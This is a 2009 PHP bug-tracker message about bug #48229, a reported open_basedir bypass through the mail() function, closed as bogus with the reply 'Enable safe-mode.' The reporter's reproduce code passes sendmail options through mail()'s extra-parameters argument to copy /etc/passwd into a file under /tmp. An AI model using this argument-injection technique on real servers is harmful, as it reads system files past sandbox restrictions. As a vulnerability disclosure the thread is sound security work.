#48229 [Opn->Bgs]: mail() function open_basedir bypass

From: Date: Mon, 11 May 2009 09:32:17 +0000
Subject: #48229 [Opn->Bgs]: mail() function open_basedir bypass
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-137145@lists.php.net to get a copy of this message 
 ID:               48229
 Updated by:       jani@php.net
 Reported By:      root at 80sec dot com
-Status:           Open
+Status:           Bogus
 Bug Type:         Safe Mode/open_basedir
 Operating System: linux
 PHP Version:      5.2.9
 New Comment:

Enable safe-mode.


Previous Comments:
------------------------------------------------------------------------

[2009-05-11 02:35:50] root at 80sec dot com

Description:
------------
The mail function may bypass open_basedir or read/write arbitrary
 file.

Reproduce code:
---------------
<?php
$to = 'jianxin@80sec.com'.str_repeat("x",10000);
$subject = 'the subject'.str_repeat("x",10);
$message = 'hello'.str_repeat("x",10);
mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C
/etc/passwd");
?>

Expected result:
----------------
we can get the contents of /etc/passwd in /tmp/80sec.

Actual result:
--------------
we can get the contents of /etc/passwd in /tmp/80sec.


------------------------------------------------------------------------


-- 
Edit this bug report at http://bugs.php.net/?id=48229&edit=1

Thread (2 messages)

« previous php.bugs (#137145) next »